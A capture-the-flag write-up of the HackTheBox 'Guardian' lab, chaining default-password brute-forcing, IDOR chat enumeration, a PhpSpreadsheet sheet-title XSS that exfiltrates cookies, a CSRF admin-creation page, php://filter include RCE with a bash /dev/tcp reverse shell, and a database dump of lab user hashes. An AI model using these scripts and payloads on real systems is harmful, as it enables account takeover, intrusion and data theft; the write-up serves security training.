RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEtPLvoTptmr4MsrtI0K/4A73jlDROsZk5pUpkv1rb2VUfEDKmiArBppPYZhUo+Fopcqr4j90edXV+4Usda76kI=
|   256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHTkehIuVT04tJc00jcFVYdmQYDY3RuiImpFenWc9Yi6
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Guardian University - Empowering Future Leaders
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP Title: Guardian University – Empowering Future Leaders — likely a CMS footprint.

Port 80

Navigating the web application, the contact form appears broken. Still, it leaks valuable intel: user identifiers and the internal email convention GU<3-digit-id><year>@guardian.htb:

htb_guardian_1

The so-called "Student Portal" unveils a fresh subdomain: http://portal.guardian.htb/, redirecting into login.php:

htb_guardian_2

Triggering "Forgot Password" leads to forgot.php, which demands a User ID in the pattern GU<year><3-digit-id>:

htb_guardian_3

A valid submission fires off an email to the target—an embryonic XSS attack surface (turns out a rabbit hole).

Meanwhile, from login.php, the "Help" button drops us into a static PDF holding gold:

htb_guardian_4

Every student starts with the default password: GU1234. They're told to reset on first login, but it's plausible that seeded accounts never complied. That leaves us a clear brute-force vector—hunting for forgotten defaults still guarding the gate.

WEB

IDOR

Username Fuzzing

From reconnaissance, we already know the username schema:

GU<3-digit-id><year>

Examples:

  • GU1232022
  • GU0452023
  • GU9992024

So the variables are:

  • 3-digit ID000999
  • Year → likely recent admission years (e.g., 2023–2025)

Peeking into the login flow reveals the server's verbosity:

htb_guardian_5

The portal spills precise error feedback (Invalid username or password), which makes enumeration trivial. We can abuse this for username fuzzing with a Python brute-forcer:

Python
#!/bin/user/env python3
# bf_username.py
import requests
from pwn import log

URL = "http://portal.guardian.htb/login.php"
PASSWORD = "GU1234"  
HEADERS = {"User-Agent": "Mozilla/5.0"}

def generate_usernames(sy=2023, ey=2025):
    for y in range(sy, ey + 1):
        for i in range(1000):  # 000-999
            yield f"GU{i:03d}{y}"

def attempt_login(username):
    data = {
        "username": username,  
        "password": PASSWORD
    }
    r = requests.post(URL, data=data, headers=HEADERS, allow_redirects=False)
    if "Invalid username or password" not in r.text:
        return True
    return False

def bruteforce():
    bar = log.progress("Bruteforce")
    for user in generate_usernames():
        bar.status(f"trying {user}")
        if attempt_login(user):
            bar.success(f"[+] Possible valid account: {user}")
            break
    else:
        bar.failure("No valid accounts found")

if __name__ == "__main__":
    bruteforce()

The script quickly yields a live account: GU0142023 still clinging to the default password.

Session hijacked, we pivot into http://portal.guardian.htb/student/home.php:

htb_guardian_6

Chat Fuzzing

Inside, we stumble upon a student chat system:

htb_guardian_7

The endpoint is predictable:

http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=11
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

This screams IDOR. With a valid PHPSESSID, we can enumerate arbitrary chat histories. A fuzzing script does the heavy lifting:

Python
#!/bin/user/env python3
# bf_chat.py
import requests
from pwn import log

URL = "http://portal.guardian.htb/student/chat.php"
COOKIE = {"PHPSESSID": "ktkpmuqt62asdogd2in5j7h05u"}  # replace 

def get_chat(uid1, uid2):
    params = { "chat_users[0]": uid1, "chat_users[1]": uid2 }
    r = requests.get(URL, params=params, cookies=COOKIE)
    if r.status_code == 200 and "chat-bubble received" in r.text:
        return r.text
    return None

def bruteforce(start=1, end=30):
    bar = log.progress("Chat enum")
    for u1 in range(start, end+1):
        for u2 in range(start, end+1):
            if u1 == u2: 
                continue
            bar.status(f"trying {u1} <-> {u2}")
            html = get_chat(u1, u2)
            if html:
                if "Invalid" not in html and len(html) > 2000:
                    log.success(f"Chat found: {u1} <-> {u2} (len={len(html)})")
                    with open(f"chat_{u1}_{u2}.html", "w") as f:
                        f.write(html)
    bar.success("Done")

if __name__ == "__main__":
    bruteforce(1, 20)

The run produces multiple chat logs ripe for plundering:

htb_guardian_8

And buried within—credentials for gitea:

htb_guardian_9

Looks like we just made contact with jamil.enockson.

Gitea

With the recovered credentials [email protected] / DHsNnk3V503, we breach into http://gitea.guardian.htb/—a private Gitea instance hosting internal repositories for admin, jamil, and mark:

htb_guardian_10

The first repository is little more than static fluff—HTML and CSS with no real attack surface. The real prize is the portal source code. Time to clone it down for inspection:

git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git

The local dump shows us the application's skeleton:

$ tree portal.guardian.htb -L1

portal.guardian.htb
├── admin
├── composer.json
├── composer.lock
├── config
├── forgot.php
├── includes
├── index.php
├── lecturer
├── login.php
├── logout.php
├── models
├── portal.guardian.htb.udb
├── static
├── student
└── vendor

The architecture speaks volumes: three portals exist—/admin, /lecturer, and /student. We already own the student space. The next phase of exploitation means pivoting our privilege chain into either the lecturer or admin portals.

Lecturer

This setup echoes the University box—student → lecturer → admin in a clean privilege chain.

I start by mapping touchpoints with higher-privileged users. The upcoming course “Statistics in Business” (not the "overdue" relics) allows submissions to lecturers:

htb_guardian_11

Accepted formats: .docx, .xlsx.

A probe upload exposes the POST surface:

htb_guardian_12

From here, the assignment pipeline becomes our attack vector.

Code Review

Student/submission.php

First, how students submit:

PHP
<?php
require '../includes/auth.php';
require '../config/db.php';
require '../models/Assignment.php';

if (!isAuthenticated() || $_SESSION['user_role'] !== 'student') {
    header('Location: /login.php');
    exit();
}

$student_id = $_SESSION['user_id'];
$course_id = $_GET['course_id'] ?? null;
$assignmentModel = new Assignment($pdo);
$assignments = $assignmentModel->getUpcomingAssignments($student_id, $course_id);
?>   
    ...
        <?php foreach ($assignments as $assignment):
        $due_date = strtotime($assignment['due_date']);
        $days_until_due = ceil(($due_date - time()) / (60 * 60 * 24));
        $card_class = $days_until_due < 0 ? 'overdue' : ($days_until_due <= 3 ? 'due-soon' : '');
    	?>
		,,,
			<?php echo htmlspecialchars($assignment['title']); ?>
			<?php echo htmlspecialchars($assignment['course_name']); ?>
            ...
        <a href="/student/submission.php?assignment_id=<?php echo $assignment['assignment_id']; ?>"
		</a>
        ...
  • $course_id = $_GET['course_id'] ?? null; is passed into Assignment::getUpcomingAssignments($student_id, $course_id).
  • Output: title and course_name are run through htmlspecialchars() → reduces reflected XSS on this page.
  • Nav link: /student/submission.php?assignment_id=<id> → IDOR candidate on submission.php if ownership/role checks are weak there.

Looks tidy on the surface. The real action is on the lecturer side.

Lecturer/view-submission.php

Lecturers server-render student Office files using PhpOfficePhpSpreadsheet (XLSX) and PhpWord (DOCX):

PHP
require '../vendor/autoload.php'; // Include PHPOffice PHP Spreadsheet

use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Writer\Html;
		...
            $phpWord = \PhpOffice\PhpWord\IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
            $htmlWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'HTML');
            $htmlWriter->save('php://output');
			...
htb_guardian_13

For .xlsx, the preview logic is:

PHP
if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx') {
    $spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
    $writer = new Html($spreadsheet);
    $writer->writeAllSheets();
    echo $writer->generateHTMLAll();
}
  • IOFactory::load() → parses student-supplied XLSX.
  • Writer\Html → converts workbook to HTML for the browser.
  • echo $writer->generateHTMLAll(); → sends raw HTML to the lecturer with no escaping/sanitization.

Elsewhere the codebase leans on htmlspecialchars(...) for user fields:

htb_guardian_14

Here, that safety net is absent—an unguarded HTML sink.

For .docx, the path is:

PHP
$phpWord = \PhpOffice\PhpWord\IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$htmlWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'HTML');
$htmlWriter->save('php://output');
  • \PhpOffice\PhpWord\IOFactory::load() → parses student-supplied XLSX.
  • Converts it to HTML using PhpWord's HTML writer.
  • Streams it directly to the browser (php://output).

If PhpOffice's internal filtering is porous (or an n-day exists), this preview pipeline becomes an elegant execution vector against lecturers. Time to audit the library and trawl for n-days.

PhpOffice

PhpOffice is an open-source suite for ingesting, generating, and transforming Office formats (Excel, Word, PowerPoint, et al.). It comprises:

  • PhpSpreadsheet — successor to PHPExcel; handles .xls, .xlsx, .ods, .csv.
  • PhpWord — parses and emits .docx, .odt, .rtf; supports HTML/PDF conversion.
  • PhpPresentation — works with .pptx, .odp; less common but conceptually identical.
  • Common components — shared utilities and autoloading.

Deployed via Composer, versions surface in installed.php:

PHP
'phpoffice/math' => array(
    'pretty_version' => '0.2.0',
    'version' => '0.2.0.0',
    'reference' => 'fc2eb6d1a61b058d5dac77197059db30ee3c8329',
    'type' => 'library',
    'install_path' => __DIR__ . '/../phpoffice/math',
    'aliases' => array(),
    'dev_requirement' => false,
),
'phpoffice/phpspreadsheet' => array(
    'pretty_version' => '3.7.0',
    'version' => '3.7.0.0',
    'reference' => '2fc12fdc58d39297c7b8c72d65b37a1a25d65ab5',
    'type' => 'library',
    'install_path' => __DIR__ . '/../phpoffice/phpspreadsheet',
    'aliases' => array(),
    'dev_requirement' => false,
),
'phpoffice/phpword' => array(
    'pretty_version' => '1.3.0',
    'version' => '1.3.0.0',
    'reference' => '8392134ce4b5dba65130ba956231a1602b848b7f',
    'type' => 'library',
    'install_path' => __DIR__ . '/../phpoffice/phpword',
    'aliases' => array(),
    'dev_requirement' => false,
),

Target locked.

Stored XSS

PhpOffice has a storied history with HTML rendering pitfalls, especially in PhpSpreadsheet's HTML writer—a fertile ground for stored XSS when unescaped workbook data is transmuted into markup.

Our target, phpoffice/phpspreadsheet 3.7.0, aligns with a live advisory in the project's Security feed: GHSA-79xx-vf93-p7cx.

Issue: when Writer\Html renders sheet navigation tabs for multi-sheet workbooks, it injects sheet titles directly into the DOM without escaping. A title like "><img src=x onerror=alert(1)> becomes executable markup → XSS.

Vulnerable snippet (3.7.0) Writer/Html.php:533:

PHP
/**
 * Generate sheet tabs.
 */
public function generateNavigation(): string
{
    // Fetch sheets
    $sheets = [];
    if ($this->sheetIndex === null) {
        $sheets = $this->spreadsheet->getAllSheets();
    } else {
        $sheets[] = $this->spreadsheet->getSheet($this->sheetIndex);
    }

    // Construct HTML
    $html = '';

    // Only if there are more than 1 sheets
    if (count($sheets) > 1) {
        // Loop all sheets
        $sheetId = 0;
        $html .= '<ul class="navigation">' . PHP_EOL;

        foreach ($sheets as $sheet) {
            // [!] Vulnerable
            $html .= '  <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;
            ++$sheetId;
        }
        $html .= '</ul>' . PHP_EOL;
    }
    return $html;
}
  • It injects the raw sheet title ($sheet->getTitle()) directly into HTML.
  • There is no escaping/sanitization (htmlspecialchars, etc.).
  • The navigation UI only renders when count($sheets) > 1 → exploit requires ≥ 2 sheets.
  • When we control a sheet title, we can close the <a> text node and inject arbitrary HTML/JS.

Fixed in 1.29.8 / 2.1.7 / 2.3.6 / 3.8.0.

Conclusion: 3.7.0 is exploitable—prime for a lecturer-side XSS pivot.

Exploit XSS

The vulnerable sink:

PHP
$html .= '  <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;

With a benign title, e.g. Sheet1, it renders:

HTML
<li class="sheet0"><a href="#sheet0">Sheet1</a></li>

The injection point is inside the anchor text (...">[HERE]</a>).

Minimal payload:

HTML
</a><img src=x onerror=alert(1)><a>

Forge a multi-sheet XLSX via pandas and ElementTree to weaponize the title:

Python
#!/usr/bin/env python3
# evil_xlsx.py
import io, zipfile
import pandas as pd
import xml.etree.ElementTree as ET

INPUT_XLSX  = "scaffold.xlsx"
OUTPUT_XLSX = "evil.xlsx"
ATTACKER_IP = "10.10.18.9"	# change
LISTEN_PORT = 80

# 1) build a normal multi-sheet file with pandas
df1 = pd.DataFrame({"A": [1,2], "B":[3,4]})
df2 = pd.DataFrame({"X": ["foo","bar"]})
with pd.ExcelWriter(INPUT_XLSX, engine="openpyxl") as w:
    df1.to_excel(w, sheet_name="SafeSheet", index=False)
    df2.to_excel(w, sheet_name="EvilSheet", index=False)  # will be renamed in XML

# 2) malicious sheet title (the actual XSS). we're in an XML attribute,
#    so we must XML-escape <, >, & automatically using ElementTree
payload = f"</a><img src=x onerror=fetch('http://{ATTACKER_IP}:{str(LISTEN_PORT)}/pwn?c='+document.cookie)><a>"
print(f"[dbg] payload in xlsx: {payload}")

# 3) open the xlsx (zip), modify xl/workbook.xml, write a new xlsx
with zipfile.ZipFile(INPUT_XLSX, "r") as zin, zipfile.ZipFile(OUTPUT_XLSX, "w", zipfile.ZIP_DEFLATED) as zout:
    for item in zin.infolist():
        data = zin.read(item.filename)
        if item.filename == "xl/workbook.xml":
            # parse, locate <sheet name="EvilSheet" .../>, replace name with payload
            ns = {
                "m": "http://schemas.openxmlformats.org/spreadsheetml/2006/main",
                "r": "http://schemas.openxmlformats.org/officeDocument/2006/relationships",
            }
            root = ET.fromstring(data)
            sheets = root.find("m:sheets", ns)
            for sheet in sheets.findall("m:sheet", ns):
                if sheet.get("name") == "EvilSheet":
                    sheet.set("name", payload)  # ET will escape to </a>...<a>
                    break
            # reserialize
            data = ET.tostring(root, encoding="utf-8", xml_declaration=True)
        zout.writestr(item, data)

print(f"[+] built {OUTPUT_XLSX} with malicious sheet title payload")

pandas/openpyxl rejects illegal sheet names (by spec). PhpSpreadsheet, however, will parse the raw XML—we simply patch xl/workbook.xml inside the ZIP to bypass validation.

Excel “repairs” invalid names on open, renaming them (Recovered_Sheet1):

htb_guardian_15

…which is fine—we care about the server-side renderer, not the desktop client.

Sanity-check the payload is embedded:

Bash
unzip -p evil.xlsx xl/workbook.xml | sed -n '1,200p'
htb_guardian_16

Inside the XLSX, < and > appear as entities; PhpSpreadsheet resolves the attribute back to the literal:

HTML
</a><img src=x onerror=fetch('http://10.10.18.9:80/pwn?c='+document.cookie)><a>

Upload evil.xlsx as a student submission; when the lecturer previews, the payload fires and exfiltrates the session to our HTTP listener:

htb_guardian_17

Swap the stolen PHPSESSID and step into the lecturer seat—sammy.treat—inside the portal dashboard:

htb_guardian_18

Admin

With lecturer access unlocked, fresh tooling appears. Our next move: identify any workflow that lets us touch the admin context.

The Notice Board is perfect. We can craft a notice and embed a link deliberately aimed at admin:

htb_guardian_19

Submission requires a CSRF token alongside the payload:

htb_guardian_20

Time to peel back the stack—let's dissect create.php and chart the attack surface.

Code Review

Lecturer/notice/create.php

A global CSRF token pool is primed on load:

PHP
$token = bin2hex(random_bytes(16));
add_token_to_pool($token);

A per-request token is minted, pooled, and embedded as a hidden field. On POST, the handler validates:

PHP
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $csrf_token = $_POST['csrf_token'] ?? '';

    if (!is_valid_token($csrf_token)) {
        die("Invalid CSRF token!");

With a valid token, the lecturer can post a notice straight from raw inputs:

PHP
$title = $_POST['title'];
$content = $_POST['content'];
$reference_link = $_POST['reference_link'];
$created_by = $_SESSION['user_id'];

Persisted verbatim:

PHP
$noticeModel->create([
  'title' => $title,
  'content' => $content,
  'reference_link' => $reference_link,
  'created_by' => $created_by
], false)

Flash messages are escaped using htmlspecialchars(), but only those:

PHP
<?php if (isset($success)): ?>
	<?php echo htmlspecialchars($success); ?>
    ...
<?php if (isset($error)): ?>
	<?php echo htmlspecialchars($error); ?>
    ...
		<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($token) ?>">
    	...

This means the “Notice Board” likely has an admin approval workflow: when a lecturer submits a notice, an admin review page shows the notice and its reference_link. That gives us a path to make the admin's browser do our bidding.

So we will continue to research how admin user interacts with the reference_link.

Admin/notice/approve.php

The approval endpoint is blunt:

PHP
// require admin session
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') exit();

// read id from query
$notice_id = $_GET['id'] ?? null;

// fetch notice; if it exists...
$notice = $noticeModel->read($notice_id);

// ...immediately approve it
if ($noticeModel->approveNotice($notice_id)) {
    echo "Notice approved";
    exit();
}

We (lecturer) fully control reference_link on the notice. During review, admin is likely to follow it. The question becomes: where do we lure them for privesc?

Admin/createuser.php

A bespoke admin utility: createuser.php. If we can herd admin into this route and submit a forged POST, we mint an admin-level user. First, shape a valid request.

The CSRF model is pool-based—ripe for scope confusion:

PHP
$token = bin2hex(random_bytes(16));
add_token_to_pool($token);	// ← minted on GET, tossed into a global pool

Validation on POST:

PHP
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $csrf_token = $_POST['csrf_token'] ?? '';
    if (!is_valid_token($csrf_token)) { die("Invalid CSRF token!"); }
    // ...
}

There's no evidence is_valid_token() binds tokens to session or route. If tokens are global, we can pre-mint one from any page that calls add_token_to_pool() (e.g., lecturer-side), then reuse it here—CSRF-by-design.

Authenticated as admin, the handler creates users with attacker-controlled role:

PHP
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
	...

    // POST params
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    $full_name = $_POST['full_name'] ?? '';
    $email = $_POST['email'] ?? '';
    $dob = $_POST['dob'] ?? '';
    $address = $_POST['address'] ?? '';
    $user_role = $_POST['user_role'] ?? '';	// [!] New user role controllable 

    // Check for empty fields
    if (empty($username) || empty($password) || empty($full_name) || empty($email) || empty($dob) || empty($address) || empty($user_role)) 
        ...

        $password = hash('sha256', $password . $salt);	// static app-wide salt from config.php

        $data = [
            'username' => $username,
            'password_hash' => $password,
            'full_name' => $full_name,
            'email' => $email,
            'dob' => $dob,
            'address' => $address,
            'user_role' => $user_role	// [!] 'admin' allowed by form
        ];

        if ($userModel->create($data)) {
            header('Location: /admin/users.php?created=true');
            exit();
        } else {
            $error = "Failed to create user. Please try again.";
        }
    }
}
  • Admin can create arbitrary users, including user_role=admin.
  • Passwords are SHA-256 with a static salt from the included config.php—predictable and forgeable.

Config/config.php

Database credentials + salt:

PHP
<?php
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
        'options' => []
    ],
    'salt' => '8Sb)tM1vs1SS'
];

And the 'salt' is what we need to forge a password for newly created users.

Shadow Admin

Time to chain it.

  • As lecturer, plant a reference_link the admin is expected to follow during review.
  • On click, we pivot into a top-level navigation that posts back into /admin/createuser.php; with legacy/lenient cookie policy or SameSite=None, the admin's session hitches a ride.
  • Any pool-valid CSRF token clears the check—tokens minted on lecturer pages via add_token_to_pool($token) are fair game.

Lift a lecturer page token:

htb_guardian_21

Wire up an auto-submit CSRF page, embedder with required new user information:

HTML
<!doctype html>
<html>
<body>
<form action="http://portal.guardian.htb/admin/createuser.php" id="1337" method="POST">
  <input type="hidden" name="csrf_token" value="28a109028288a82de056e4f48a1c343b">
  <input type="hidden" name="username"   value="axura">
  <input type="hidden" name="password"   value="Axura4sure~">
  <input type="hidden" name="full_name"  value="Guardian Pwn">
  <input type="hidden" name="email"      value="[email protected]">
  <input type="hidden" name="dob"        value="1790-01-01">
  <input type="hidden" name="address"    value="42 Exploit Ave">
  <input type="hidden" name="user_role"  value="admin">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

Serve it as pwn.html, then set the lecturer notice's reference_link to http://<attacker_ip>/pwn.html:

htb_guardian_22

Admin reviews, clicks, and the form fires:

htb_guardian_23

Result: a fresh shadow admin account—privilege chain complete:

htb_guardian_24

RCE

With admin foothold, the Report Menu becomes an execution trampoline:

htb_guardian_25

Reports are included dynamically, e.g.:

http://portal.guardian.htb/admin/reports.php?report=reports/system.php

The endpoint includes another PHP script—prime RCE territory.

Code Review

Let's research how report.php works from the source code.

Admin/report.php

The code itself is concise and dangerous:

PHP
<?php
require '../includes/auth.php';
require '../config/db.php';

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
    header('Location: /login.php');
    exit();
}

$report = $_GET['report'] ?? 'reports/academic.php';

if (strpos($report, '..') !== false) {
    die("<h2>Malicious request blocked 🚫 </h2>");
}   

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
    
    ...	// HTML stuff
    
    	<?php include($report); ?>

Constraints:

  • Blocks any .. substring (so no naïve ../ traversal).
  • Allows any path that ends with one of {enrollment,academic,financial,system}.php (the regex is very permissive: any prefix, as long as the tail matches).
  • Then include($report) executes it.

But beyond the constraints, there're others not blocked:

  • PHP stream wrappers (e.g., phar://, zip://, compress.zlib://, php://filter, file://).
  • Absolute paths (e.g., /var/www/html/...).
  • Paths outside the app root, as long as the final component matches *academic.php, etc.

Classic restricted-include done wrong.

PHP Wrappers

Since we did not find any entrances to upload a malicious PHP file, we will exploit the include($report) vector via PHP stream wrappers, such as php://filter, which I mentioned a lot in this post.

We have also introduced this topic in the BigBang writeup.

A naive LFR probe like:

php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

is blocked by the regex gate:

htb_guardian_26

The Synactiv team has done a lot great researches on this topic, along with wonderful exploit toolit. The PHP filter chain generator encodes arbitrary PHP into a php://filter chain that decodes to executable code at include-time.

Minimal PoC (exec id):

Bash
./php_filter_chain_generator.py --chain "<?php system(\"id\");?>"

Append a suffix to satisfy the regex (fake tail): #system.php. The include resolves the filter chain; the hash tail placates the pattern check:

htb_guardian_27

Jackpot.

Shell it up:

Bash
./php_filter_chain_generator.py --chain "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.18.9/4444 0>&1'\");?>"

Reverse shell lands:

htb_guardian_28

USER

Database Breach

Pivoting deeper, local sockets reveal the MySQL daemon exposed only on loopback:

www-data@guardian:~/portal.guardian.htb/admin$ netstat -lantp

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        1      0 10.129.119.158:80       10.10.18.9:48100        CLOSE_WAIT  -
tcp        0    140 10.129.119.158:35990    10.10.18.9:4444         ESTABLISHED 14737/bash
tcp        0      1 10.129.119.158:55532    8.8.8.8:53              SYN_SENT    -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Port 3306 is open, bound locally. We already exfiltrated the creds from config.php:

'dsn' 	   => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',

Drop straight into the database from the web shell:

$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb

show databases;
+--------------------+
| Database           |
+--------------------+
| guardiandb         |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments          |
| courses              |
| enrollments          |
| grades               |
| messages             |
| notices              |
| programs             |
| submissions          |
| users                |
+----------------------+
9 rows in set (0.00 sec)

mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username           | password_hash                                                    | full_name            | email                           | dob        | address                                                                       | user_role | status | created_at          | updated_at          |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
|       1 | admin              | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin         | [email protected]              | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645         | admin     | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       2 | jamil.enockson     | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson      | [email protected]     | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295                  | admin     | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       3 | mark.pargetter     | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter       | [email protected]     | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210                    | admin     | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       4 | valentijn.temby    | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 | Valentijn Temby      | [email protected]    | 1994-05-06 | 7429 Gustavsen Road, Houston, Texas, United States, 77218                     | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       5 | leyla.rippin       | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 | Leyla Rippin         | [email protected]       | 1999-01-30 | 7911 Tampico Place, Columbia, Missouri, United States, 65218                  | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       6 | perkin.fillon      | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 | Perkin Fillon        | [email protected]      | 1991-03-19 | 3225 Olanta Drive, Atlanta, Georgia, United States, 30368                     | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       7 | cyrus.booth        | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 | Cyrus Booth          | [email protected]        | 2001-04-03 | 4214 Dwight Drive, Ocala, Florida, United States, 34474                       | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       8 | sammy.treat        | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 | Sammy Treat          | [email protected]        | 1997-03-26 | 13188 Mount Croghan Trail, Houston, Texas, United States, 77085               | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|       9 | crin.hambidge      | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 | Crin Hambidge        | [email protected]      | 1997-09-28 | 4884 Adrienne Way, Flint, Michigan, United States, 48555                      | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      10 | myra.galsworthy    | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 | Myra Galsworthy      | [email protected]    | 1992-02-20 | 13136 Schoenfeldt Street, Odessa, Texas, United States, 79769                 | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      11 | mireielle.feek     | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 | Mireielle Feek       | [email protected]     | 2001-08-01 | 13452 Fussell Way, Raleigh, North Carolina, United States, 27690              | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      12 | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a | Vivie Smallthwaite   | [email protected] | 1993-04-02 | 8653 Hemstead Road, Houston, Texas, United States, 77293                      | lecturer  | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      13 | GU0142023          | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 | Boone Basden         | [email protected]          | 2001-09-12 | 10523 Panchos Way, Columbus, Ohio, United States, 43284                       | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      14 | GU6262023          | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f | Jamesy Currin        | [email protected]          | 2001-11-28 | 13972 Bragg Avenue, Dulles, Virginia, United States, 20189                    | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      15 | GU0702025          | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 | Stephenie Vernau     | [email protected]          | 1996-04-16 | 14649 Delgado Avenue, Tacoma, Washington, United States, 98481                | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      16 | GU0762023          | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 | Milly Saladine       | [email protected]          | 1995-11-19 | 2031 Black Stone Place, San Francisco, California, United States, 94132       | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      17 | GU9492024          | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 | Maggy Clout          | [email protected]          | 2000-05-30 | 8322 Richland Road, Billings, Montana, United States, 59112                   | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
